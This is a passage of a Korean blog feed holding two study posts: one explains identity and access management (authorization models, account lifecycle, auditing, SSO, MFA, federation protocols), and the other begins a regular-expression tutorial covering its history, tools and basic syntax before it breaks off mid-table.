<td>사용자 편의성, 높은 정확도</td>
<td>오탐지 가능성, 프라이버시 우려</td>
</tr>
</tbody></table>
<h3 id="22-인가authorization">2.2 인가(Authorization)</h3>
<p>인가(Authorization)는 인증이 완료된 사용자에게 시스템 자원 접근 권한을 부여하거나 제한하는 절차를 의미한다. 사용자가 누구인지 확인된 후, 그 사용자가 수행할 수 있는 작업과 접근할 수 있는 자원의 범위를 결정하는 것이다.</p>
<p>IAM 시스템에서는 일반적으로 <strong>역할 기반 접근 제어(RBAC)</strong>, <strong>속성 기반 접근 제어(ABAC)</strong>, <strong>정책 기반 접근 제어(PBAC)</strong> 등의 모델을 통해 인가를 수행한다.</p>
<ul>
<li><strong>RBAC(Role-Based Access Control)</strong>: 사용자의 역할(Role)에 따라 권한을 부여하는 방식이다. 관리가 용이하고 조직 구조에 부합하기 쉽다.</li>
<li><strong>ABAC(Attribute-Based Access Control)</strong>: 사용자, 자원, 환경의 속성(Attribute)을 기준으로 접근 제어를 결정한다. 유연성은 높지만, 정책 관리가 복잡할 수 있다.</li>
<li><strong>PBAC(Policy-Based Access Control)</strong>: 사전에 정의된 정책(Policy)에 따라 접근 여부를 판단하는 방식으로, 대규모 시스템에 적합하다.</li>
</ul>
<p>인가 절차의 목표는 &#39;필요 최소한의 권한&#39;만을 사용자에게 부여하여 보안을 강화하고, 불필요한 권한 남용을 방지하는 것이다.</p>
<h3 id="23-계정-관리account-management">2.3 계정 관리(Account Management)</h3>
<p>계정 관리(Account Management)는 사용자 계정의 생성, 변경, 비활성화, 삭제를 체계적으로 관리하는 과정을 의미한다. 이는 IAM 시스템 운영의 기본이자 핵심이다.</p>
<p>계정 관리에는 다음과 같은 주요 활동이 포함된다.</p>
<ul>
<li><strong>계정 프로비저닝(Provisioning)</strong>: 신규 사용자가 조직에 합류할 때 필요한 계정과 접근 권한을 부여하는 과정이다.</li>
<li><strong>계정 수정(Modification)</strong>: 사용자의 직무 변경, 부서 이동 등에 따라 계정 정보나 권한을 수정하는 작업이다.</li>
<li><strong>계정 디프로비저닝(Deprovisioning)</strong>: 사용자가 조직을 떠나거나 더 이상 특정 자원에 접근할 필요가 없을 때, 계정이나 권한을 철회하는 작업이다.</li>
</ul>
<p>정확하고 신속한 계정 관리는 보안 사고 예방에 핵심적이다. 예를 들어 퇴사자의 계정을 즉시 비활성화하지 않으면, 악의적 활동에 악용될 위험이 존재한다.</p>
<p>또한 계정 관리는 주기적인 권한 재검토(Access Review) 및 인증(Recertification) 절차와 연계되어야 하며, 이를 통해 부적절한 권한의 누적과 권한 부여 오류를 방지할 수 있다.</p>
<h3 id="24-감사audit">2.4 감사(Audit)</h3>
<p>감사(Audit)는 사용자의 인증 및 인가 활동, 계정 및 권한 변경 이력 등을 기록하고 분석하는 과정을 의미한다. 이는 보안 사고 대응, 규제 준수, 내부 통제 강화에 필수적이다.</p>
<p>감사의 주요 목적은 다음과 같다.</p>
<ul>
<li><strong>접근 기록 추적</strong>: 누가 언제 어떤 자원에 접근했는지를 기록하고 확인할 수 있다.</li>
<li><strong>비정상적 활동 탐지</strong>: 평소와 다른 접근 패턴이나 권한 변경을 탐지하여 이상 징후를 조기에 발견한다.</li>
<li><strong>규제 준수 증명</strong>: 다양한 법적, 산업 규제(GDPR, HIPAA 등)에서 요구하는 감사 기록 제출을 통해 규정 준수를 증명할 수 있다.</li>
<li><strong>보안 사고 분석</strong>: 사고 발생 시 감사 기록을 활용하여 원인을 규명하고 대응할 수 있다.</li>
</ul>
<p>IAM 감사는 단순한 기록 수집에 그치지 않고, 지속적인 모니터링과 자동화된 분석 시스템(SIEM, UEBA 등)과 연계되어야 실질적인 보안 효과를 기대할 수 있다.</p>
<hr>
<h2 id="3-iam-시스템-주요-기술">3. IAM 시스템 주요 기술</h2>
<h3 id="31-ssosingle-sign-on">3.1 SSO(Single Sign-On)</h3>
<p>SSO(Single Sign-On)는 사용자가 한 번의 인증으로 다수의 시스템이나 애플리케이션에 접근할 수 있도록 하는 기술이다. 사용자는 최초 로그인 시 인증을 완료한 후, 추가적인 로그인 과정 없이 허가된 여러 시스템에 접근할 수 있다.</p>
<h4 id="sso의-주요-동작-방식">SSO의 주요 동작 방식</h4>
<ul>
<li>사용자가 최초 인증을 수행하면 인증 토큰(Token)이나 세션(Session) 정보가 생성된다.</li>
<li>이후 사용자가 다른 서비스에 접근할 때, 이 토큰이나 세션 정보를 통해 별도의 인증 절차 없이 접근이 허용된다.</li>
</ul>
<h4 id="sso의-도입의-장점">SSO의 도입의 장점</h4>
<ul>
<li><strong>사용자 편의성 향상</strong>: 여러 시스템에 대해 각각 로그인할 필요 없이 단일 인증으로 이용할 수 있다.</li>
<li><strong>보안 강화</strong>: 패스워드 입력 횟수 감소로 인해 키로깅(keylogging)이나 피싱(phishing) 위험을 줄일 수 있다.</li>
<li><strong>운영 효율성</strong>: 패스워드 분실 관련 지원 요청 감소 등으로 IT 헬프데스크의 업무 부담이 줄어든다.</li>
</ul>
<p>그러나, SSO가 단일 실패 지점(Single Point of Failure, SPOF)이 될 수 있다는 점은 주의해야 한다. 만약 SSO 시스템이 침해된다면, 연결된 모든 시스템이 위험에 노출될 수 있다. 이를 방지하기 위해 MFA와 함께 SSO를 적용하는 것이 일반적이다.</p>
<h3 id="32-mfamulti-factor-authentication">3.2 MFA(Multi-Factor Authentication)</h3>
<p>MFA(Multi-Factor Authentication)는 사용자가 시스템에 접근할 때, 둘 이상의 서로 다른 인증 수단을 요구하는 인증 방법이다. MFA는 인증 요소를 복합적으로 요구함으로써 보안 수준을 대폭 향상시킨다.</p>
<p>MFA는 다음 세 가지 인증 요소 중 둘 이상을 조합하여 사용한다.</p>
<ul>
<li><strong>지식 요소</strong>(Something you know): 비밀번호, PIN</li>
<li><strong>소지 요소</strong>(Something you have): 스마트폰, OTP 생성기</li>
<li><strong>고유 요소</strong>(Something you are): 지문, 홍채, 음성 패턴 등 생체 정보</li>
</ul>
<h4 id="mfa-적용-예시">MFA 적용 예시</h4>
<ul>
<li>비밀번호 입력 후 스마트폰으로 수신한 일회용 인증 코드(OTP)를 추가로 입력</li>
<li>사용자 인증 후 생체 정보(지문, 얼굴 인식)로 추가 인증</li>
</ul>
<p>MFA의 도입은 특히 계정 탈취(Account Hijacking), 인증 정보 유출 사고를 방지하는 데 효과적이다. 최근에는 푸시 기반 인증(Push Notification)이나 FIDO(Fast IDentity Online) 기반 인증 장치 사용이 늘어나고 있으며, 이를 통해 사용자의 편의성과 보안성을 동시에 높이고 있다.</p>
<h3 id="33-프로비저닝-및-디프로비저닝provisioning-and-deprovisioning">3.3 프로비저닝 및 디프로비저닝(Provisioning and Deprovisioning)</h3>
<p>프로비저닝(Provisioning)은 사용자에게 필요한 시스템 계정, 접근 권한, 리소스 등을 생성하고 할당하는 일련의 과정을 의미한다. 반대로 디프로비저닝(Deprovisioning)은 더 이상 필요하지 않은 계정이나 권한을 제거하는 과정을 말한다.</p>
<p>이 두 과정은 다음과 같은 상황에서 발생한다.</p>
<ul>
<li>신규 직원 입사 시: 시스템 접근 권한 부여</li>
<li>부서 이동 시: 기존 권한 회수 및 새로운 권한 부여</li>
<li>퇴사 시: 모든 계정 및 권한 비활성화</li>
</ul>
<p>프로비저닝 및 디프로비저닝의 효율적인 수행을 위해:</p>
<ul>
<li><strong>자동화</strong>: HR 시스템과 연계하여 계정 생성·삭제를 자동으로 처리</li>
<li><strong>정책 기반 권한 할당</strong>: 직무 및 부서에 따라 표준화된 권한 부여</li>
<li><strong>주기적 검토</strong>: 권한 누락, 과잉 부여 여부를 정기적으로 검토</li>
</ul>
<p>정확하고 신속한 프로비저닝·디프로비저닝은 보안 사고를 예방하고, 감사(Audit) 및 규제 준수를 위한 필수적인 기반을 제공한다.</p>
<h3 id="34-권한-관리role-based-access-control-rbac">3.4 권한 관리(Role-Based Access Control, RBAC)</h3>
<p>RBAC(Role-Based Access Control)은 사용자의 역할(Role)에 따라 시스템 자원 접근 권한을 부여하는 접근 통제 모델이다. 사용자는 개인별로 권한을 부여받는 것이 아니라, 하나 이상의 역할을 할당받으며, 역할에 연결된 권한을 상속받는다.</p>
<h4 id="rbac의-구조">RBAC의 구조</h4>
<ul>
<li><strong>역할(Role)</strong>: 특정 작업 집합을 수행할 수 있는 권한들의 모음</li>
<li><strong>사용자(User)</strong>: 역할을 부여받은 실제 시스템 사용자</li>
<li><strong>자원(Resource)</strong>: 사용자가 접근하려는 시스템 내 객체(파일, 데이터베이스, 서비스 등)</li>
</ul>
<h4 id="rbac의-장점">RBAC의 장점</h4>
<ul>
<li><strong>권한 관리 간소화</strong>: 사용자가 많거나 복잡한 조직 구조를 가진 환경에서도 일관된 권한 관리가 가능하다.</li>
<li><strong>보안 정책 준수 용이</strong>: 조직 내 표준화된 권한 체계를 구축할 수 있다.</li>
<li><strong>역할 기반 접근 검토</strong>: 주기적으로 역할별 권한 검토를 통해 과잉 권한을 통제할 수 있다.</li>
</ul>
<p>그러나 RBAC는 역할 수가 과도하게 많아질 경우(Role Explosion), 관리가 복잡해질 수 있다는 단점을 지닌다. 이를 해결하기 위해 최근에는 속성 기반 접근 제어(ABAC)나 정책 기반 접근 제어(PBAC)와 함께 혼합하여 사용하는 사례가 증가하고 있다.</p>
<hr>
<h2 id="4-iam-구현-기술-심화">4. IAM 구현 기술 심화</h2>
<h3 id="41-디렉터리-서비스와-iam-예-ldap-active-directory">4.1 디렉터리 서비스와 IAM (예: LDAP, Active Directory)</h3>
<p>디렉터리 서비스(Directory Service)는 네트워크에서 리소스와 사용자 정보를 관리하고 제공하는 중앙집중식 시스템이다. IAM의 핵심 요소인 사용자 인증과 인가는 대부분 디렉터리 서비스를 통해 관리된다.<br>대표적인 디렉터리 서비스에는 <strong>LDAP(Lightweight Directory Access Protocol)</strong>과 <strong>Active Directory(AD)</strong> 가 있다.</p>
<h4 id="ldaplightweight-directory-access-protocol">LDAP(Lightweight Directory Access Protocol)</h4>
<p>LDAP는 디렉터리 서비스에 접근하기 위한 프로토콜로, 사용자의 정보와 권한 데이터를 포함하는 디렉터리 서비스를 효율적으로 검색하고 관리할 수 있다. LDAP는 중앙 집중식 사용자 관리와 역할 기반 접근 제어를 지원한다.<br>LDAP는 특히 다양한 시스템 간의 사용자 정보를 통합하고, 네트워크 자원에 대한 접근을 관리하는 데 유용하다.</p>
<h4 id="active-directoryad">Active Directory(AD)</h4>
<p>Active Directory는 마이크로소프트에서 제공하는 디렉터리 서비스로, LDAP를 기반으로 하여 다양한 보안 기능을 제공한다. AD는 조직 내 모든 사용자, 그룹, 컴퓨터 및 기타 리소스에 대한 정보를 관리하며, Windows 환경에서 IAM의 중심 역할을 한다.<br>AD는 사용자 인증 및 인가뿐만 아니라, 그룹 정책(Group Policy)을 통한 권한 관리, 계정 정책 설정 등 다양한 관리 기능을 제공한다.</p>
<p>디렉터리 서비스는 중앙집중식 관리 기능을 제공함으로써, IAM 시스템이 일관된 방식으로 사용자 계정과 권한을 제어하고, 보안 및 규제 준수를 지원하는 데 중요한 역할을 한다.</p>
<h3 id="42-연합-인증federated-identity과-표준-프로토콜-saml-oauth-openid-connect">4.2 연합 인증(Federated Identity)과 표준 프로토콜 (SAML, OAuth, OpenID Connect)</h3>
<p>연합 인증(Federated Identity)은 서로 다른 도메인이나 시스템 간에 사용자 신원을 안전하게 공유하고 인증을 수행하는 방식이다. 연합 인증을 통해 여러 시스템에서 동일한 사용자 정보를 사용할 수 있으며, 이는 다수의 애플리케이션에 대해 중앙 집중식 인증을 구현할 수 있는 방법이다.</p>
<h4 id="samlsecurity-assertion-markup-language">SAML(Security Assertion Markup Language)</h4>
<p>SAML은 XML 기반의 표준 프로토콜로, 사용자 인증 정보를 서로 다른 서비스 제공자(SP)와 인증 제공자(IdP) 간에 교환할 수 있도록 한다. SAML은 주로 기업 환경에서 SSO(Single Sign-On) 기능을 구현하는 데 사용된다.<br>SAML의 특징은 인증 데이터를 XML 형태로 교환하기 때문에, 보안이 강력하고, 웹 애플리케이션에 적합하다.</p>
<h4 id="oauthopen-authorization">OAuth(Open Authorization)</h4>
<p>OAuth는 제3자 애플리케이션에 사용자의 비밀번호를 입력하지 않고 특정 정보에 대한 접근 권한을 부여할 수 있는 프로토콜이다. 예를 들어, 사용자가 구글 계정을 이용해 다른 웹사이트에 로그인하거나, 제3자 애플리케이션에서 구글 계정의 데이터를 사용할 수 있도록 권한을 부여하는 방식이다.<br>OAuth는 사용자 비밀번호를 외부 애플리케이션에 노출하지 않으면서도 필요한 권한을 안전하게 부여할 수 있다.</p>
<h4 id="openid-connect">OpenID Connect</h4>
<p>OpenID Connect는 OAuth 2.0 프로토콜 위에 사용자 인증을 추가한 확장 프로토콜이다. OAuth는 권한 부여를 위한 표준이지만, OpenID Connect는 사용자 인증을 위한 표준을 제공한다.<br>따라서, OpenID Connect는 사용자 인증 정보와 권한을 함께 관리할 수 있어, SSO 및 사용자 정보 공유에 매우 적합하다.</p>
<p>연합 인증과 표준 프로토콜은 기업 간 협력 및 클라우드 환경에서 IAM을 보다 효율적으로 관리하고, 여러 시스템 간의 신뢰 관계를 구축하는 데 필수적인 기술이다.</p>
<h3 id="43-접근-제어-모델-심화-rbac-vs-abac-vs-pbac">4.3 접근 제어 모델 심화 (RBAC vs ABAC vs PBAC)</h3>
<p>접근 제어 모델은 사용자와 자원 간의 접근을 어떻게 관리할지에 대한 기본적인 규칙을 정의하는 시스템이다. IAM 시스템에서는 주로 <strong>RBAC(Role-Based Access Control)</strong>, <strong>ABAC(Attribute-Based Access Control)</strong>, <strong>PBAC(Policy-Based Access Control)</strong> 모델을 사용한다. 각 모델은 특정 상황에 적합한 방식으로 권한을 부여하고, 조직의 보안 정책을 지원한다.</p>
<h4 id="rbacrole-based-access-control">RBAC(Role-Based Access Control)</h4>
<p>RBAC는 사용자에게 역할(Role)을 부여하고, 역할에 따라 자원에 대한 접근 권한을 할당하는 방식이다. 이는 직무 중심으로 권한을 관리하며, 역할 변경만으로 권한을 쉽게 관리할 수 있다.<br>RBAC의 장점은 관리가 간편하고, 권한이 표준화되며, 역할 기반의 접근 제어가 가능하다는 것이다. 그러나 역할 수가 많아지면 관리가 복잡해질 수 있다.</p>
<h4 id="abacattribute-based-access-control">ABAC(Attribute-Based Access Control)</h4>
<p>ABAC는 사용자, 자원, 환경 등의 속성(Attribute)을 기준으로 접근 제어를 결정하는 방식이다. 예를 들어, 사용자의 부서, 직급, 시간대, 위치 등을 기반으로 권한을 부여하는 방식이다.<br>ABAC는 매우 세밀한 권한 제어가 가능하지만, 속성의 정의와 관리가 복잡해질 수 있으며, 대규모 환경에서 정책을 관리하는 데 어려움이 있을 수 있다.</p>
<h4 id="pbacpolicy-based-access-control">PBAC(Policy-Based Access Control)</h4>
<p>PBAC는 사전에 정의된 정책(Policy)에 따라 접근 제어를 수행하는 방식이다. PBAC는 규칙에 따라 시스템이 자동으로 사용자에게 권한을 부여하며, 복잡한 정책을 설정하고 자동화할 수 있는 장점이 있다.<br>PBAC는 정책 기반으로 유연한 접근 제어가 가능하지만, 정책 설정과 관리가 복잡해질 수 있다.</p>
<p>접근 제어 모델은 조직의 규모, 필요에 따라 선택해야 하며, 다양한 모델을 혼합하여 사용하는 경우도 많다. 보안 요구 사항이 복잡한 경우, ABAC나 PBAC를 RBAC와 결합하여 사용하는 방식이 점차 늘어나고 있다.</p>
<hr>
<h2 id="5-iam-관리-및-운영">5. IAM 관리 및 운영</h2>
<h3 id="51-계정-및-권한-수명-주기-관리">5.1 계정 및 권한 수명 주기 관리</h3>
<p>계정 및 권한 수명 주기 관리(Lifecycle Management)는 IAM 시스템에서 계정 생성, 권한 할당, 계정 비활성화 및 삭제 등 계정과 권한의 전반적인 관리를 의미한다. 이 과정은 계정과 권한이 올바르게 생성되고, 적절히 변경 및 회수되며, 불필요하거나 위험한 상태가 되지 않도록 관리하는 것을 목표로 한다.</p>
<h4 id="계정-생성-및-초기-권한-부여">계정 생성 및 초기 권한 부여</h4>
<ul>
<li>신규 직원이나 사용자가 시스템에 등록될 때, IAM 시스템은 자동으로 계정을 생성하고 적절한 권한을 할당한다. 이때, 직무 기반(Role-Based) 또는 정책 기반으로 권한을 할당하여, 사용자가 해당 직무를 수행하는 데 필요한 최소한의 권한만을 부여한다.</li>
</ul>
<h4 id="계정-변경-및-권한-수정">계정 변경 및 권한 수정</h4>
<ul>
<li>사용자가 직무나 부서 이동 등으로 권한이 변경될 경우, IAM 시스템은 즉시 변경 사항을 반영해야 한다. 또한, 권한의 변경 사항이 시스템에 자동으로 반영되도록 프로비저닝과 디프로비저닝 절차가 연계되어야 한다.</li>
</ul>
<h4 id="계정-비활성화-및-삭제">계정 비활성화 및 삭제</h4>
<ul>
<li>퇴사, 계약 만료 등으로 인해 사용자가 더 이상 시스템에 접근할 필요가 없을 경우, 해당 계정은 신속하게 비활성화되어야 한다. 또한, 특정 시간 이후 자동으로 계정이 삭제되도록 설정하여 보안을 강화할 수 있다.</li>
</ul>
<p>계정 및 권한 수명 주기 관리는 IAM의 핵심 요소로, 시스템에서 불필요한 권한이 남아 있지 않도록 하여 보안을 강화하고, 규정 준수 및 감사의 용이성을 제공한다.</p>
<h3 id="52-권한-승계-및-최소-권한-원칙least-privilege-principle">5.2 권한 승계 및 최소 권한 원칙(Least Privilege Principle)</h3>
<p>권한 승계(Privilege Escalation)는 사용자가 본래 허용되지 않은 높은 수준의 권한을 갖게 되는 위험을 의미한다. 반면, <strong>최소 권한 원칙(Least Privilege Principle)</strong> 은 사용자가 자신의 업무를 수행하는 데 필요한 최소한의 권한만을 부여받도록 하는 보안 원칙이다.</p>
<h4 id="최소-권한-원칙의-적용">최소 권한 원칙의 적용</h4>
<ul>
<li>최소 권한 원칙을 적용하면, 사용자는 불필요한 시스템 자원에 접근할 수 없게 된다. 이 원칙은 사용자 계정에 대해 불필요한 권한을 최소화하여, 사고 발생 시 피해를 최소화하고, 권한 상승 공격(Privilege Escalation)을 방지한다.</li>
<li>예를 들어, 개발자가 코드 작성 외에 서버 운영이나 관리자 권한을 가지지 않도록 제한하여, 해커가 개발자 계정을 탈취하더라도 피해를 줄일 수 있다.</li>
</ul>
<h4 id="권한-승계-방지">권한 승계 방지</h4>
<ul>
<li>권한 승계 방지를 위해, IAM 시스템은 권한을 상속할 수 있는 규칙을 엄격히 정의하고, 특정 사용자나 역할에 대해 불필요한 권한을 부여하지 않도록 한다.</li>
<li>또한, <strong>주기적인 권한 리뷰</strong>와 <strong>권한 감사(Audit)</strong> 를 통해 과도한 권한이 부여되지 않았는지, 혹은 권한이 제대로 관리되고 있는지 확인한다.</li>
</ul>
<p>최소 권한 원칙을 준수하면, 시스템에서 발생할 수 있는 보안 사고를 예방할 수 있고, 관리자가 권한을 쉽게 추적하고 제어할 수 있어, 전반적인 보안 관리가 향상된다.</p>
<h3 id="53-iam-감사-및-모니터링-전략">5.3 IAM 감사 및 모니터링 전략</h3>
<p>IAM 감사 및 모니터링 전략은 시스템 내에서 발생하는 모든 계정과 권한 관련 활동을 기록하고 분석하여, 보안 위협이나 규정 위반을 식별하고 대응할 수 있도록 하는 과정이다. 이는 보안 사고의 예방 및 사고 발생 시 신속한 대응을 가능하게 한다.</p>
<h4 id="감사audit-로그-관리">감사(Audit) 로그 관리</h4>
<ul>
<li>IAM 시스템은 모든 로그인 시도, 권한 변경, 계정 비활성화 등의 활동을 <strong>감사 로그(Audit Log)</strong> 로 기록해야 한다. 이 로그는 중앙 집중식 로그 관리 시스템에 저장되어, 분석 및 추적이 가능해야 한다.</li>
<li>감사 로그는 보안 사고가 발생했을 때 중요한 단서가 되며, 규정 준수와 감사 요청에 대한 증거를 제공한다. 예를 들어, 특정 계정이 부적절한 권한으로 접근한 흔적을 추적할 수 있다.</li>
</ul>
<h4 id="실시간-모니터링">실시간 모니터링</h4>
<ul>
<li>IAM 시스템은 <strong>실시간 모니터링</strong>을 통해 비정상적인 활동을 실시간으로 감지하고, 관리자에게 경고를 보낼 수 있어야 한다. 예를 들어, 비정상적인 로그인 시도나 권한 상승 시도를 실시간으로 탐지하여 즉각적으로 대응할 수 있다.</li>
<li>보안 사고를 예방하려면, <strong>이상 징후 탐지</strong>를 위한 <strong>AI 기반 모니터링</strong> 시스템을 도입하여, 인간의 개입 없이도 자동으로 위험을 분석하고 경고할 수 있어야 한다.</li>
</ul>
<h4 id="규정-준수-및-리포팅">규정 준수 및 리포팅</h4>
<ul>
<li>IAM 감사 및 모니터링 활동은 규정 준수 요구사항에 맞게 수행되어야 한다. 예를 들어, GDPR, HIPAA 등의 규제를 준수하기 위해 IAM 시스템의 로그와 모니터링 활동을 관리해야 한다.</li>
<li>또한, 주기적인 감사 리포트를 생성하여, 보안 정책이 제대로 시행되고 있는지 점검하고, 개선점을 도출해야 한다.</li>
</ul>
<p>IAM 감사 및 모니터링 전략을 통해 조직은 보안 사고를 사전에 차단하고, 사고 발생 시 빠르게 대응할 수 있는 능력을 갖추게 된다. 또한, 규정 준수와 관련된 리포트 제공이 가능해져, 관리 감독을 강화하고 법적 요구사항을 충족할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) RegEx]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-RegEx</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-RegEx</guid>
            <pubDate>Fri, 25 Apr 2025 15:03:55 GMT</pubDate>
            <description><![CDATA[<h1 id="regex">RegEx</h1>
<blockquote>
<p>Regular Expression</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/b17c4ecd-b67e-4c27-bcab-54d80a83b2ba/image.png" alt=""></p>
<p>오늘의 주제는 정규표현식이다. 처음에는 쉬어가는 주제로 골랐지만... 예상이 틀린 모양이다. 가볍게 목차만 잡아봤는데 생각보다 엄청나게 다룰 것들이 많다. 그래도 내용을 가볍게 훑어 보니 하나같이 영양가 있어 보이는 것들이 많다. 끝까지 최대한 열심히 해서 한번 채워 보자.</p>
<hr>
<h2 id="1-정규표현식regex이란-무엇인가">1. 정규표현식(RegEx)이란 무엇인가</h2>
<h3 id="11-정의와-탄생-배경">1.1 정의와 탄생 배경</h3>
<p>정규표현식(Regular Expression, 약칭 RegEx 또는 regexp)은 <strong>문자열 내 특정 패턴을 찾거나, 검사하거나, 치환하는 데 사용하는 일종의 패턴 언어</strong>이다. 정규표현식은 단순한 문자열 검색을 넘어, <strong>복잡한 규칙 기반의 텍스트 필터링</strong>을 가능하게 한다.</p>
<p>이 개념은 <strong>1950년대 수학자 스티븐 콜 클레이니(Stephen Cole Kleene)</strong> 가 형식 언어 이론에서 ‘정규 언어(Regular Language)’를 정의하면서 비롯되었다. 이후 컴퓨터 과학 분야에서는 Unix 유닉스 운영체제의 <code>grep</code>, <code>sed</code>, <code>awk</code>와 같은 유틸리티에서 도입되었고, 이는 텍스트 기반의 데이터 처리 방식에 혁명적인 영향을 끼쳤다.</p>
<p>정규표현식은 초기에는 컴파일러 이론과 이론적 언어 분석에 국한되어 있었지만, 지금은 보안, 데이터 분석, 웹 개발, 시스템 관리 등 거의 모든 실무 영역에서 필수적인 기술로 자리 잡고 있다.</p>
<h3 id="12-문자열-처리에서의-필요성과-이점">1.2 문자열 처리에서의 필요성과 이점</h3>
<p>문자열을 다루는 대부분의 프로그램에서는 특정 패턴을 찾거나, 사용자의 입력을 검증하거나, 민감정보를 추출하거나, 로그 파일에서 의미 있는 정보를 분석해야 할 때가 있다. 이럴 때, 조건문이나 루프만으로 처리하는 것은 너무 복잡하거나 비효율적일 수 있다. 정규표현식은 이러한 문제를 간결하고 강력하게 해결해준다.</p>
<h4 id="주요-이점">주요 이점:</h4>
<ul>
<li><p><strong>간결한 패턴 정의</strong>: 복잡한 문자열 조건을 몇 줄의 패턴으로 표현 가능</p>
</li>
<li><p><strong>재사용성과 이식성</strong>: 대부분의 언어에서 동일한 정규식을 적용 가능</p>
</li>
<li><p><strong>자동화에 적합</strong>: 파일 이름 필터링, 로그 파싱, HTML 데이터 추출 등 반복 작업 자동화에 용이</p>
</li>
<li><p><strong>입력 검증 보안 강화</strong>: 이메일 주소, 전화번호, 비밀번호 형식 등을 검증해 XSS, SQL Injection 같은 보안 취약점 방지</p>
</li>
</ul>
<p>정규표현식은 잘만 사용하면 <strong>텍스트 기반 자동화 작업에서 수십 배의 생산성</strong>을 가져올 수 있다.</p>
<h3 id="13-다양한-언어와-도구에서의-활용-예">1.3 다양한 언어와 도구에서의 활용 예</h3>
<p>정규표현식은 대부분의 프로그래밍 언어와 개발 도구, 보안 플랫폼에서 핵심 기능으로 지원된다. 특히 아래와 같은 환경에서는 거의 필수적으로 사용된다.</p>
<h4 id="프로그래밍-언어에서의-사용">프로그래밍 언어에서의 사용:</h4>
<ul>
<li><strong>Python</strong>: <code>re</code> 모듈 사용 (<code>re.search</code>, <code>re.findall</code>, <code>re.sub</code> 등)</li>
<li><strong>JavaScript</strong>: <code>/pattern/</code> 또는 <code>new RegExp()</code> 구문으로 사용</li>
<li><strong>Java</strong>: <code>java.util.regex</code> 패키지에서 제공</li>
<li><strong>C#</strong>: <code>System.Text.RegularExpressions</code> 네임스페이스에서 지원</li>
</ul>
<h4 id="실무-도구에서의-사용-예">실무 도구에서의 사용 예:</h4>
<table>
<thead>
<tr>
<th>도구/환경</th>
<th>용도 예시</th>
</tr>
</thead>
<tbody><tr>
<td><strong>grep/sed/awk</strong></td>
<td>리눅스에서 로그 검색 및 편집 자동화</td>
</tr>
<tr>
<td><strong>Wireshark</strong></td>
<td>패킷 내 문자열 탐지</td>
</tr>
<tr>
<td><strong>IDS/IPS</strong></td>
<td>정규식 기반 룰로 악성 트래픽 식별 (e.g., Snort)</td>
</tr>
<tr>
<td><strong>YARA</strong></td>
<td>악성코드 탐지용 패턴 정의</td>
</tr>
<tr>
<td><strong>SIEM</strong></td>
<td>로그 분석 및 경고 규칙 정의</td>
</tr>
<tr>
<td><strong>Suricata</strong></td>
<td>정규식 기반 서명 탐지 엔진</td>
</tr>
</tbody></table>
<p>이처럼 정규표현식은 단순한 개발 도구를 넘어 보안 인프라, 데이터 분석 플랫폼, 자동화 파이프라인 등 다양한 분야에 깊이 통합되어 있으며, 이를 정확히 이해하고 활용하는 능력은 실무에서 큰 차이를 만든다.</p>
<hr>
<h2 id="2-정규표현식의-기본-문법">2. 정규표현식의 기본 문법</h2>
<p>정규표현식은 특정한 <strong>문자열 패턴을 정의</strong>하기 위한 문법 체계이다. 기본적인 문법 구조를 이해하면, 텍스트 내에서 원하는 형식을 쉽게 탐색하고 조작할 수 있다.</p>
<h3 id="21-리터럴-문자와-특수문자">2.1 리터럴 문자와 특수문자</h3>
<p><strong>리터럴(literal)</strong> 문자는 그 자체로 해석되는 문자이다. 예를 들어 <code>hello</code>라는 정규표현식은 문자열 안에서 정확히 <code>&quot;hello&quot;</code>라는 단어를 찾는다.</p>
<p>하지만 정규표현식에는 특수한 기능을 가진 문자들도 있다. 이들을 <strong>특수문자(meta-character)</strong> 라고 하며, 정규표현식의 동작을 제어한다.</p>
<h4 id="주요-특수문자">주요 특수문자:</h4>
<table>
<thead>
<tr>
<th>문자</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>.</code></td>
<td>임의의 한 문자 (개행 제외)</td>
</tr>
<tr>
<td><code>^</code></td>
<td>문자열의 시작</td>
</tr>
<tr>
<td><code>$</code></td>
<td>문자열의 끝</td>
</tr>
<tr>
<td><code>*</code></td>
<td>앞 문자의 0회 이상 반복</td>
</tr>
<tr>
<td><code>+</code></td>
<td>앞 문자의 1회 이상 반복</td>
</tr>
<tr>
<td><code>?</code></td>
<td>앞 문자의 0회 또는 1회</td>
</tr>
<tr>
<td>`</td>
<td>`</td>
</tr>
<tr>
<td><code>()</code></td>
<td>그룹화</td>
</tr>
<tr>
<td><code>[]</code></td>
<td>문자 집합</td>
</tr>
<tr>
<td><code>\</code></td>
<td>이스케이프 문자 (특수문자를 문자 그대로 사용하고 싶을 때)</td>
</tr>
</tbody></table>
<h3 id="22-문자-클래스-범위-지정">2.2 문자 클래스([]), 범위 지정</h3>
<p><code>[]</code> 안에 문자를 나열하면, 그 중 <strong>하나라도 일치하면 매칭</strong>된다. 이를 <strong>문자 클래스</strong>라 한다.</p>
<h4 id="예시">예시:</h4>
<ul>
<li><code>[abc]</code> → <code>a</code>, <code>b</code>, 또는 <code>c</code> 중 하나와 일치</li>
<li><code>[0-9]</code> → 숫자 하나와 일치 (0부터 9까지)</li>
<li><code>[A-Za-z]</code> → 모든 영문자 (대소문자 포함)</li>
</ul>
<h4 id="반대의-의미">반대의 의미:</h4>
<ul>
<li><code>[^abc]</code> → <code>a</code>, <code>b</code>, <code>c</code>를 제외한 문자</li>
</ul>
<h4 id="실전-예시">실전 예시:</h4>
<ul>
<li><code>[aeiou]</code> → 모음 하나 찾기</li>
<li><code>[^0-9]</code> → 숫자가 아닌 문자 찾기</li>
</ul>
<h3 id="23-반복자---nm">2.3 반복자(*, +, ?, {n,m})</h3>
<p><strong>반복자(quantifier)</strong> 는 특정 패턴이 <strong>얼마나 반복되어야 하는지를 지정</strong>하는 도구이다.</p>
<h4 id="주요-반복자">주요 반복자:</h4>
<table>
<thead>
<tr>
<th>기호</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>*</code></td>
<td>0회 이상 반복 (zero or more)</td>
</tr>
<tr>
<td><code>+</code></td>
<td>1회 이상 반복 (one or more)</td>
</tr>
<tr>
<td><code>?</code></td>
<td>0회 또는 1회 (optional)</td>
</tr>
<tr>
<td><code>{n}</code></td>
<td>정확히 n회 반복</td>
</tr>
<tr>
<td><code>{n,}</code></td>
<td>n회 이상 반복</td>
</tr>
<tr>
<td><code>{n,m}</code></td>
